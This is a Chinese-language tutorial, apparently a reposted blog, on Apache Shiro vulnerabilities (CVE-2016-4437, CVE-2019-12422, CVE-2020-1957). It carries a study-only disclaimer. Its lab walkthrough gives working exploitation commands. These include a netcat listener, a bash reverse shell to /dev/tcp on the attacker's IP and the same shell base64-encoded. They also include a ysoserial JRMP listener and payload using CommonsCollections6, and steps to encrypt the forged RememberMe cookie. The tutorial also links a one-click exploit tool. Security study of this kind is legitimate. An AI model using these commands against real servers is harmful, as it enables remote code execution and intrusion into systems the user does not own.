Shiro反序列化漏洞
Posted 風月长情
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Shiro反序列化漏洞相关的知识,希望对你有一定的参考价值。
文章目录
安全攻防,攻生防。本文章仅使用于学习和企业授权测试,网络安全法非空文儿戏,望君酌之!
一、Shrio反序列化导致命令执行(Shiro-550 CVE-2016-4437)
1.1 漏洞介绍
1.1.1 漏洞简介
Apache Shiro是一款开源企业常见JAVA安全框架,提供身份验证、授权、密码学和会话管理。java中的权限框架有SpringSecurity和Shiro,由于Spring功能强大但复杂,Shiro的简单强大,扩展性好因此用的还是很多。
1.1.2 影响版本
- Apache Shiro < 1.2.4
1.1.3 漏洞原理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过相关信息进行序列化,然后使用AES加密(对称),最后再使用Base64编码处理。服务端在接收cookie时:
- 检索RememberMe Cookie的值
- Base 64解码
- AES解密(加密密钥硬编码)
- 进行反序列化操作(未过滤处理)
攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的Cookie,服务端反序列化时触发漏洞,从而执行命令。
1.1.4 漏洞特征
》》进行登录,返回包中查看是否有rememberMe=deleteMe字段
1.1.5 漏洞影响
只要rememberMe的AES加密密钥泄漏,无论shiro什么版本都会导致反序列化漏洞。
1.2 环境配置
- 受害者IP:192.168.226.140(vulhub、docker)
》》进入目标目录下,启动一个shiro1.2.4的web服务
》》访问web页面
1.3 漏洞利用
1.3.1 利用方法(一)
演示环境:
- 攻击者IP:192.168.1.101
UI一键利用工具:
GitHub地址:https://github.com/feihong-cs/ShiroExploit
》》从地址下载一键利用工具,双击ShiroExploit.jar
》》输入目标地址,选择目标对象,点击下一步
》》点击下一步
》》反弹shell
1.3.2 利用方法(二)
演示环境:
- 攻击者IP:192.168.159.128(kali)
利用限制:
- 一台公网主机(装有java环境、netcat)
- ysoserial.jar
- shiro-exp.jar
》》进行登录,抓取登录请求包
(可以注意到这里返回包中只有一个Set-Cookie)
攻击者(Kali)执行以下操作(真实攻击场景需要在VPS上执行)
》》事先开启三个终端
》》nc在81端口上监听shell(终端 1)
》》开启转发,监听19999端口(终端 2)
- bash -i >& /dev/tcp/192.168.159.128/81 0>&1 (执行的命令)
- bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvODEgMD4mMQ==|base64,-d|bash,-i (对执行的命令进行Base64编码)
- java -cp ysoserial.jar ysoserial.exploit.JRMPListener 19999 CommonsCollections6 " bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvODEgMD4mMQ==|base64,-d|bash,-i" (ysoserial在19999端口监听,未加粗的是编码后的执行命令)
》》生成payload(终端 3)
java -jar ysoserial.jar JRMPClient "192.168.159.128:19999" > /tmp/jrmp.ser
》》对payload进行编码
java -jar shiro-exp.jar encrypt /tmp/jrmp.ser
》》将构造的序列化编码cookie通过登录包发送到服务端(这里必须登录成功状态下)
(成功收到shell)
1.4 防御措施
- 升级Shiro到最新版本
- WAF拦截Cookie中长度过大的rememberMe值
二、Shiro Padding Oracle Attack(Shiro-721 CVE-2019-12422)
2.1 漏洞简介
Shiro实用AES-CBC模式进行加解密,存在Padding Oracle Attack漏洞,已登录的攻击者同样可进行反序列化操作。
2.2 影响版本
- Apache Shiro < 1.4.2
2.2 漏洞利用
同1.3.1
利用技巧:
如果攻击没有生效,尝试删除Cookie中的Jsessionid字段,防止服务端不去处理cookie
三、Shiro权限绕过漏洞(Shiro-682 CVE-2020-1957)
3.1 漏洞介绍
由于Shiro的拦截器和Spring(Servlet)拦截器对于URI模式匹配的差异,导致鉴权问题。
3.2 影响版本
- Apache Shiro < 1.5.2
3.3 漏洞利用
方法同1.3.1
四、官方CVE动态
- 官网:http://shiro.apache.org/
以上是关于Shiro反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章
[Java安全]Shiro RememberMe 1.2.4反序列化漏洞分析
[Java安全]Shiro RememberMe 1.2.4反序列化漏洞分析
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现